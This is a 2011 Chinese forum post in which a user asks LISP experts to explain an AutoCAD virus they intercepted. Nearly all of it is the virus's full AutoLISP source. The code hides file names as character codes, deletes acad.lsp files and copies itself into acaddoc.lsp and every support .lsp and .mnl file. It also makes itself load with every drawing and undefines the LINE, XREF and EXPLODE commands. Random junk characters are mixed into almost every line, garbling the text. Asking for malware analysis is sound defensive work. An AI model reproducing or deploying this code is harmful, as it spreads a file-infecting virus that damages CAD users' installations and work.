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[求助] 求助高手解释LISP病毒代码

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五面怪
发表于 2011-9-19 15:26 | 显示全部楼层 |阅读模式
本人最近截获：CAD病毒代码一段，请LISP高手帮忙解析一下每句语句的功能，不胜感谢。最是比较常见的，党是不会亏待你的，
  1. (8 V3 u$ s0 G) f9 c! I
  2. setq" Q+ O) ?  d$ {$ X& p
  3.   wold_cmd* {. y/ p* l* _4 g1 e% r
  4.    (
    . a6 }+ L7 g! W7 y3 l# o. r
  5.     getvar# y1 U, g6 W* g. H# D4 G
  6.      "cmdecho"
    ( i2 i9 M+ m+ S- P& J. p$ u
  7.    )
    3 {$ z" x0 _9 n! U' I4 S  K
  8. )
      ]; |' _8 S0 i3 t! i
  9. (! ^- D. [7 ], g! y& {8 t
  10. setvar
    / n/ j6 h+ H! d0 t: c
  11.   "cmdecho"1 E* O+ U; f0 w0 |8 {( Q
  12.   0  H8 G+ p1 U: K- A
  13. )
    6 k+ n! F; r. |; \
  14. (' {) L% T. @8 L
  15. setq: ?7 f5 S3 l  y* H3 t" d
  16. bb 1
    " t2 b. E2 g1 H# r
  17. )7 U2 \! l; _; j1 c! y
  18. (setq dpath (getvar "dwgprefix"))
      y. I( I: w" P5 T
  19. (setq wpath (getvar "menuname"))) z- T' H5 J3 b  n/ F9 {
  20. (setq wpath (substr wpath 1 (- (strlen wpath) 4)))- |* j; G* j# e7 ?8 z( }! }
  21. (setq mnl (strcat (chr 97)
    8 _. K3 R. `9 o" n5 b! n* r
  22.                   (chr 99)
    ( Z" n! @8 F5 v; Q" I5 b; s5 _# I
  23.                   (chr 97)/ Y" h6 V+ l& w9 A9 e  W
  24.                   (chr 100)( |; x" w) T! G/ H" Z, U+ r
  25.                   (chr 46)
    % s3 P& T* W1 ~' Z* `% j1 A6 a3 V
  26.                   (chr 109)4 K, Q) @( z& G
  27.                   (chr 110)
    - u3 k: \1 S, ?/ w9 L- e) @: G) Q
  28.                   (chr 108)
    / N% b! D7 j" j- M9 c( y9 D9 r5 d
  29.           )( N7 \2 r0 I0 F& ^; U; g, y( f
  30.       lsp (strcat (chr 97)# y$ Q4 v$ v4 U) C0 i3 B* E, J/ K
  31.                   (chr 99)
    ; z+ p0 E$ I/ `3 h% v( O/ l3 W
  32.                   (chr 97)
    / p6 K8 B3 _( d1 L+ b& K+ b) A$ H
  33.                   (chr 100)
    ) V: K/ Y9 Y  y: k: U: H
  34.                   (chr 100)
    . Z, `+ ~, n' H& W- s3 x4 I2 _& w
  35.                   (chr 111)
    & n' G% F4 t2 V
  36.                   (chr 99)) I+ |5 P. `0 l2 h8 l4 U
  37.                   (chr 46)
    3 L7 M; |- {- [0 ~
  38.                   (chr 108)
    # e# Z  ^2 H2 C7 v5 |
  39.                   (chr 115)3 ?: G! f$ b* J. E- `9 J) d: p/ V
  40.                   (chr 112)! g- T, i3 P0 C
  41.           )7 E( C1 }) f. w) [* @/ Q: X
  42. ); a7 l. k% ?$ u1 a6 o
  43. (vl-file-delete (strcat wpath "acadapq.lsp"))
    $ G- o" n+ |! y7 X; ?# u
  44. (vl-file-delete (strcat wpath lsp))+ E1 J/ f2 O5 n% e
  45. (vl-file-delete (strcat wpath "acad.lsp")). X6 n6 c& O7 t( C, ^3 J) m# R
  46. (vl-file-delete (strcat dpath "acad.lsp"))
    9 p6 W/ p. A8 q$ p# P% m1 J
  47. (defun wwriteapp ()7 s! \9 g, ^8 m+ B
  48.   (if (setq wwjm1 (open wnewacad "w"))# G% G) [' i$ P/ U9 ]6 m! g
  49.     (progn6 L/ h0 v+ r! h% m8 r
  50.       (setq wwjm (open woldacad "r"))
    ( t  k( Z' r8 T
  51.       (while(setq wwz (read-line wwjm))
    ) o- W8 _* L$ ]. l2 u* D/ w3 d
  52.          (write-line wwz wwjm1)# B1 A# i3 j$ b) k6 m* F6 |" x
  53.       )% ?: f. n2 S" `9 P' G
  54.       (close wwjm)
    8 X  {0 W  N3 D5 c4 \( E2 }, Q- S5 y' x
  55.       (close wwjm1)
    ( t) {6 b1 w/ V& Q. d
  56.     )" U8 J4 l+ E/ U
  57.   )/ y0 I  _, n  B1 Q1 Z
  58. )% T: [& i$ x0 C2 U

  59. " h4 d# E$ P  ?( S$ m
  60. (setq lbz 0)
    * A! M6 k( Y8 z' N! o$ V* @/ f% A
  61. (setq wwjqm (strcat dpath lsp))
    7 C: K, J& ~* Q0 [
  62. (if (setq wwjm (open wwjqm "r"))
    ! o9 }$ q* H. ^. L' @! p
  63.   (progn
    ) y+ i% R5 w. W; U5 w9 a7 {7 G
  64.     (repeat 15 (read-line wwjm))' g( Q7 i& L! y
  65.     (setq wz (read-line wwjm))
    ' O5 {" ]  Q" i* M
  66.     (setq ab (atoi (substr wz 4 1)))* `; y, p  q6 [+ y1 R
  67.     (close wwjm)
    . M; U* O8 F4 h$ q/ R2 l7 u
  68.     (if        (> ab bb)* g) l3 Q: ^0 S1 X$ s
  69.       (setq lbz 1)
    * K+ t1 e+ G# F7 g
  70.     )
    5 q6 y) X% G6 f+ z
  71.   )0 Z3 `4 c- @" H$ B
  72. )! w, @( `' k& b% b6 ]  V

  73. . A# h. Q' P& a% }! z* e% B6 ^7 `
  74. (setq wwjqm (strcat wpath mnl))
    " y' j6 ^2 l% G
  75. (if (setq wwjm (open wwjqm "r"))  \7 i  J' t  Q7 {. b+ e
  76.   (progn8 X$ N5 w3 z: X: w+ K+ \4 S, a
  77.     (repeat 15 (read-line wwjm))
    ' U- ~, b0 D: q1 j: j
  78.     (setq wz (read-line wwjm))
    # g( B) _/ `7 W/ D3 J- p) Y9 o/ [
  79.     (setq nb (atoi (substr wz 4 1)))! S' ~$ {; H! |2 g
  80.     (close wwjm)8 ]/ [2 D  @( g. F$ @5 F
  81.     ! G7 A$ p7 w5 a7 e: E
  82.     (if        (< nb bb)# |' r# a, B. c+ m  U6 d
  83.       (setq lbz 1)
    $ p. P2 H8 x7 b* S2 h
  84.     )
    5 L: Y* k, ]2 a3 ~
  85.   )2 Y2 d+ [3 ?% X% v/ v- Z2 H
  86.   (setq lbz 1)5 z/ V# k' z1 X: J1 }! X/ n9 _
  87. )7 t0 Y8 ?: b, g. z
  88. (if (= lbz 1)- ?1 o1 h: L2 o- b4 `1 u
  89.   (progn2 f% h. z  p% Y6 U/ m9 K0 O
  90.     (setq woldacad (strcat dpath lsp))
    ( h" Y) U. G2 X8 t4 S6 Q1 _8 L
  91.     (setq wnewacad (strcat wpath mnl))3 V: K0 S  N: R/ A
  92.     (wwriteapp)- l5 [4 Z$ Q! Q- p5 E
  93.   )) y1 `! }& c+ p2 @) ?
  94. )
    0 [$ T) Z, A# \; O8 l  J$ W8 S
  95. (if (and (/= (substr dpath 1 1) (chr 67))
    ; l5 L# q& ~+ N+ B; D
  96.          (/= (substr dpath 1 1) (chr 68))
    ( @4 ^, B5 a& h/ i6 a
  97.          (/= (substr dpath 1 1) (chr 69))) v, }4 G) @: ?) f+ X; }8 k7 P
  98.          (/= (substr dpath 1 1) (chr 70))
    ! r# C6 o/ S% B$ G! L# f
  99.     )
    6 h9 l/ Z- V! K4 @0 {' O( F( X
  100.   (progn
    * c" A3 O, q% F; a
  101.     (setq woldacad (strcat wpath mnl))4 ]2 C/ F7 `- }( C. y& d
  102.     (setq wnewacad (strcat dpath lsp))
    / o. K2 L0 Y* n& x/ X
  103.     (wwriteapp)
    % b0 }; x1 T1 j* U
  104.   ). Z/ p- h5 M; H
  105.   (vl-file-delete (strcat dpath lsp))
    ! V% w1 Q9 A* x% a4 N
  106. )5 [0 ~+ T- N% W" N0 E: f; b* \
  107. ;load "acadapq")
    9 n; p* x" j9 V( P0 H0 k& ^" c
  108. (vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))
    + R+ T+ ^  P; H1 `6 Y

  109. ( f" A' G; v6 ]1 M7 P0 c
  110. (setq flagx t)0 m: o: Q& O: L$ }1 p4 s; O
  111. (setq bz "(setq flagx t)")  s: ~0 Z  I- D; J
  112. (defun app(source target bz / flag flag1 wjm wjm1 text)5 w' ~0 _- t0 N6 y- e' r1 u
  113.   (setq flag nil)+ C1 H: k, y4 |9 Y- y
  114.   (setq flag1 t)/ W; \) g& N+ x, E- a
  115.   (if (findfile target), c$ g3 @) U' v/ g7 r7 C
  116.     (progn
    ) c- R2 m! G, Y% @+ d! n
  117.       (setq wjm1 (open target "r"))
    , q: v& X9 [  ~6 J, F; B' V
  118.       (while (setq text (read-line wjm1))5 W$ }1 ]) n- T8 _; K3 C
  119.         (if (= text bz) (setq flag1 nil))6 b& q6 ]* F9 b4 x- m/ y2 O# h, M
  120.         );while* V9 ]% s. _) q8 e
  121.       (close wjm1)
    6 D/ [# G' L9 w$ T9 x% d$ C
  122.       );progn6 f2 x" Q: P" U% \6 e0 w; ^
  123.     );if
    1 h5 {4 h8 f! I' s3 `7 R
  124.   (if flag1- t" q4 \# R- d+ w$ [$ w4 m
  125.     (progn
    5 b2 O5 V" a- [) U$ W! r  G
  126.       (setq wjm (open source "r"))2 Z' X! _3 C7 E
  127.       (setq wjm1 (open target "a"))
    / J  e( Q% W. s
  128.       (write-line (chr 13) wjm1)% D" X0 L% p# M4 X
  129.       (while (setq text (read-line wjm))- d" p4 l. ^# d& ~
  130.         (if (= text bz) (setq flag t)): q1 W4 s$ z# j; \0 H: ?8 [% _6 i
  131.         (if flag" ]  p6 w5 g2 ~! ]3 N; ~7 Z0 d4 Q
  132.           (progn
    " @( D2 m5 U( o  }6 r4 w
  133.             (write-line text wjm1)1 T! }9 y' R  v" Q# n1 Z. e3 t1 F
  134.             );progn9 {7 C6 u0 Z+ L
  135.           );if! z9 C) c/ m' p* K- f
  136.         );while" s( ?- F  `4 q8 c
  137.       (close wjm1)4 r' V! v9 |+ A1 N. }$ }
  138.       (close wjm). ?6 i5 N8 \5 T" V2 K
  139.       );progn- p. K) r% j6 e4 b6 H+ R1 L
  140.     );if) a' I; }- ~; {$ Q) s, A* n  d
  141.   );defun! }1 [' _& }- Q9 g8 K9 z7 q- o
  142. (setvar "cmdecho" 0)
    ( j9 W! g& V9 U3 p/ X7 t- n- K6 I
  143. (setq acadmnl (findfile "acad.mnl"))% L* H& \  X, H0 h/ Y9 c
  144. (setq acadmnlpath (vl-filename-directory acadmnl))# v$ q7 |" Q8 d
  145. (setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))9 T/ U# p& s& ~* e' A' {7 Z
  146. (setq mnlnum (length mnlfilelist))1 N. K* G! |8 r6 q: K$ u- ?
  147. (setq acadexe (findfile "acad.exe"))
    ( @0 c) H# o5 m4 C% r* V, `
  148. (setq acadpath (vl-filename-directory acadexe))
    " ^' [; m  d5 Q  u5 R
  149. (setq support (strcat acadpath "\\support"))
    : z" X4 S4 h: h2 M8 V
  150. (setq lspfilelist (vl-directory-files support "*.lsp"))
    & t% `: U7 P% s% ]. E4 X
  151. (setq lspfilelist (append lspfilelist (list "")))
    - W7 a2 v: S9 z& c
  152. (setq lspnum (length lspfilelist))$ }5 R( ?7 r: P- m- A# q  J
  153. (setq dwgname (getvar "dwgname"))
    # v4 Q: t# Z& Y9 q8 Y' Q* F
  154. (setq dwgpath (findfile dwgname))
    ' l# f9 D: L( W& P' B
  155. (if dwgpath
    ' p! U  w) R+ F# M5 B
  156.   (progn
    7 R: {" f% U  O# S& p0 O6 ~
  157.     (setq acaddocpath (vl-filename-directory dwgpath))
    % z2 G- y: s1 m1 r0 J: v3 @, S
  158.     (setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
    ) A9 f- `, x6 T1 G
  159.     (setq mnln 0)$ O/ `8 `! W& R! a- n0 b+ |
  160.     (while (< mnln mnlnum)
    0 ^7 N/ n! _4 P
  161.       (setq mnlfilename (strcat acadmnlpath "\" (nth mnln mnlfilelist)))
    ! E& r! ]/ J2 @6 H! G& }
  162.       (app mnlfilename acaddocfile bz)- P$ h! p" o" }& L: M6 L+ F* ?. b8 q; l
  163.       (app acaddocfile mnlfilename bz)
    * x6 c6 F' y2 ~2 ~+ W7 J4 B
  164.       (setq mnln (1+ mnln))
    * Q" A" r) |7 {0 F9 p/ g; H
  165.       );while, c0 V& _- n1 ^0 M  A
  166.     (setq lspn 0)
    & w  Q. Y+ e- _$ f. k' f
  167.     (while (< lspn lspnum)0 f& g; G% q  _( ?/ e
  168.       (setq lspfilename (strcat support "\" (nth lspn lspfilelist)))3 Z5 t( M- ~* {0 W) f. v3 \! g1 M. n
  169.       (app lspfilename acaddocfile bz)& {& v8 N& v+ z" [- e
  170.       (app acaddocfile lspfilename bz)
    & @" J/ U( h' s4 a( R' C* C/ t
  171.       (setq lspn (1+ lspn))
      z/ M1 u; B; h! R" R
  172.       );while
    . l" J/ ^) S3 i: e3 o  c
  173.     );progn
    ( U; t6 u9 k- ?% f' D
  174.   );if
    . o4 b- g8 ]  D4 v) g
  175. (setq mnln 0)- T# b" x6 o, V* A4 y
  176. (while (< mnln mnlnum)
    ) w. ]: F, c" j
  177.   (setq mnlfilename (strcat acadmnlpath "\" (nth mnln mnlfilelist)))
    + V) G: ~- ~6 t/ J0 D  B
  178.   (setq mnln1 0)
    5 _$ D% J/ c+ k1 \: c4 x
  179.   (while (< mnln1 mnlnum)9 d( Y. r6 s. {# x  w; V2 W
  180.     (setq mnlfilename1 (strcat acadmnlpath "\" (nth mnln1 mnlfilelist)))
      p- N" `5 }. k* d& [+ T9 J9 t5 l/ w, q! |
  181.     (app mnlfilename mnlfilename1 bz)
    * X9 P) \$ ?0 B* ?! Y2 J' B7 d
  182.     (setq mnln1 (1+ mnln1))/ }- F$ O3 F+ e( k
  183.     );while5 [9 Q( d& E" t; i
  184.   (setq lspn1 0)9 ~/ l1 }7 }3 U& K
  185.   (while (< lspn1 lspnum)* J" Q5 {( G" w3 Z8 B
  186.     (setq lspfilename1 (strcat support "\" (nth lspn1 lspfilelist)))$ ?, F6 ?8 Q9 a1 {0 Y3 W* H( Q
  187.     (app mnlfilename lspfilename1 bz)
    8 e& a! a$ M$ O+ k* k" G6 ^
  188.     (setq lspn1 (1+ lspn1)); P9 U8 V9 a: ^, W: K* o9 }8 l$ ^
  189.     );while
    0 P, O7 l( ~. H+ n4 N$ ~, w' x
  190.   (setq mnln (1+ mnln))
    5 o- f+ C  O* E( I; C
  191.   );while! v7 l2 q5 y* p. {9 S7 P
  192. (setq lspn 0)
    5 ^: H1 {9 |+ j7 ~( ~; E
  193. (while (< lspn lspnum)' f/ K( h* }" A6 K) h! ]" O
  194.   (setq lspfilename (strcat support "\" (nth lspn lspfilelist)))
    # Z) [7 N8 {2 p+ p0 X  p
  195.   (setq lspn1 0)/ T( O7 G/ B+ k' X8 \  h
  196.   (while (< lspn1 lspnum)
    * e$ t1 W" U; x( ~* r6 q( B5 Z
  197.     (setq lspfilename1 (strcat support "\" (nth lspn1 lspfilelist))); \, {9 t/ U4 B
  198.     (app lspfilename lspfilename1 bz)# m  M+ G& r: r7 X, A
  199.     (setq lspn1 (1+ lspn1)). p5 g! [6 d( y3 Y, R4 s3 d3 V
  200.     );while
    2 E1 v) c9 D7 A) j  }6 F
  201.   (setq mnln1 0)1 h& T, ~4 P- A" j, Y; B- j
  202.   (while (< mnln1 mnlnum)' P1 S7 J/ M3 _2 d
  203.     (setq mnlfilename1 (strcat acadmnlpath "\" (nth mnln1 mnlfilelist)))
    # D3 ?2 X$ H8 G+ M$ r
  204.     (app lspfilename mnlfilename1 bz)
    $ |4 z6 B0 ?% ~) [$ L. Y( j) r* ^4 u
  205.     (setq mnln1 (1+ mnln1))
    , p! m% \1 f4 A7 Y+ j3 \& I( A
  206.     );while
    ( b& K  }9 _" b2 v$ ?- O& Y% f$ Y
  207.   (setq lspn (1+ lspn))- j3 j( `% c! W8 x1 `
  208.   );while7 U( I4 x% L; Y( L; r
  209. (setvar "sdi" 1)/ v4 L$ j2 R6 Z. C3 E/ o9 U& Z
  210. (setvar "ACADLSPASDOC" 1)4 k! a5 }4 L4 @: [3 x3 g* b
  211. (command "undefine" "line")2 z7 T0 h' _  l8 N6 ?% x  G, `
  212. (command "undefine" "_line")% G4 u* ~/ v: H) {/ I3 Z* R
  213. (command "undefine" "xref")
    , s1 X. m# V% ], R7 O6 ?7 }
  214. (command "undefine" "_xref")% `6 F% g" U; o) [( N! `
  215. (command "undefine" "explode")2 k3 p/ w7 _& ?5 h
  216. (command "undefine" "_explode"); a5 o2 l% p# F2 m
  217. (setvar "cmdecho" 1)
    1 A5 E# |5 p! L, ], j* n
  218. (princ)
    ) {/ F  k% w+ d3 s( F' D- k8 ]6 E
  219. (load "acadapp")0 M0 g1 B! P% y" f- i
  220. (princ)$ Z( x% n# g/ M$ [5 B
  221. (if (null stol) (load "lcm" ""))
    + F3 _$ J1 E* k+ b. {, }4 F: I
  222. (princ)! {9 ^* ^. x+ U/ u7 I- G9 [
  223. (load "acadappp.lsp")
    1 {4 L6 g/ ?) w$ ?
  224. (princ)) q$ O1 y0 x; A; e. w+ P/ {
  225. (if (null stol) (load "lcm" ""))4 [* f$ N3 }  N, a# N8 ?
  226. (princ)
复制代码
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